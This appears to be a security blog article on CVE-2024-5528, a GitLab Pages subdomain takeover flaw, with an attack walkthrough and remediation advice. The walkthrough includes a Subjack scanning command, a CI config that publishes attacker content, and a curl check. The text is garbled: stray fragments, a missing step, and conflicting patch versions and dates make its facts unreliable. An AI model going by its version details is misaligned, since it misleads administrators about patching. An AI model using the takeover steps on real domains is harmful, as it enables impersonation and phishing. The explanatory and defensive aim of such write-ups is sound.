On June 27, 2024, GitLab issued a security advisory concerning a serious subdomain takeover vulnerability, now tracked as CVE-2024-5528. This issue affects the widely-used GitLab CE/EE (Community and Enterprise Editions), allowing malicious actors to potentially hijack inactive GitLab Pages subdomains. In this article, we’ll break down what CVE-2024-5528 means, who’s at risk, how an attacker could exploit it (with code snippets), remediation steps, and provide exclusive insights with referenced sources.

What Is Subdomain Takeover?

A subdomain takeover happens when a subdomain (like project.example.com) points to a third-party service (like GitLab Pages), but no resource is allocated on that service. An attacker can claim that resource and control content under the targeted subdomain.

For example:

awesomeproject.example.com points to GitLab Pages

- The repository or project is deleted, but the CNAME/record remains

17.1.2 and later

Source:
- GitLab Advisory GHSA-w35p-2q6c-j93q
- GitLab Release Blog

Why Is This So Dangerous?

Any organization hosting GitLab Pages is at risk. When you delete a project (but leave the DNS pointing at GitLab), attackers can register a new project and show anything they want at your subdomain—even deploy malware or phish users under your trusted domain.

Exploiting CVE-2024-5528 – Walkthrough

Let’s walk through a basic scenario to show how an attacker could exploit this.

1. Find an Orphaned Subdomain

You can use tools like Subjack or Subzy to find subdomains that point to GitLab Pages but aren't serving any content.

Example using Subjack

subjack -w subdomains.txt -t 50 -ssl -c fingerprints.json -v -o results.txt

If the subdomain shows the following error

> "The page you're looking for could not be found."

And the CNAME record still points to USERNAME.gitlab.io, it may be takeover-prone.

2. Register a Project on GitLab

The attacker creates a new GitLab project named exactly as the deleted one (matching the path used by the vulnerable subdomain). Suppose the target subdomain is blog.example.com that points via CNAME to pages.gitlab.io/oldproject.

Set up GitLab Pages for the project

# Example GitLab Pages config
# .gitlab-ci.yml
pages:
  stage: deploy
  script:
    - echo "pwned" > public/index.html
  artifacts:
    paths:
      - public

Verify it (optional, varies by setup)

After a short period, DNS should point the subdomain to the attacker’s GitLab Pages site.

4. Result: Subdomain Takeover

Now, blog.example.com serves attacker-controlled content.

Curl Example

curl http://blog.example.com
# Output: pwned

Damage an organization’s reputation

Exclusive tip: Even if you don’t run GitLab Pages, check your DNS for old CNAMEs/ALIAS records pointing to external services!

17.1.2

Or any later version.

Changelog:
- GitLab 16.11.6 Release

2. Audit Your DNS and GitLab Projects

- Remove custom domains from deleted/inactive projects

Delete orphaned DNS records

- Regularly scan your domain with tools like Subjack, Subzy or dnsrecon

- GitLab Official Advisory (GHSA-w35p-2q6c-j93q)
- CVE-2024-5528 at NVD
- GitLab Releases Page

Conclusion

CVE-2024-5528 is a critical reminder that software supply chains don’t end at your codebase—they include DNS, third-party hosting, and your processes for decommissioning services. Patch your GitLab install, monitor your subdomains, and stay vigilant for subdomain takeover threats.

If you manage GitLab Pages or similar setups, schedule regular audits, and make sure old DNS records are cleaned up. Simple steps today can prevent a major security incident tomorrow.

Timeline

Published on: 02/05/2025 11:15:17 UTC
Last modified on: 02/05/2025 20:15:45 UTC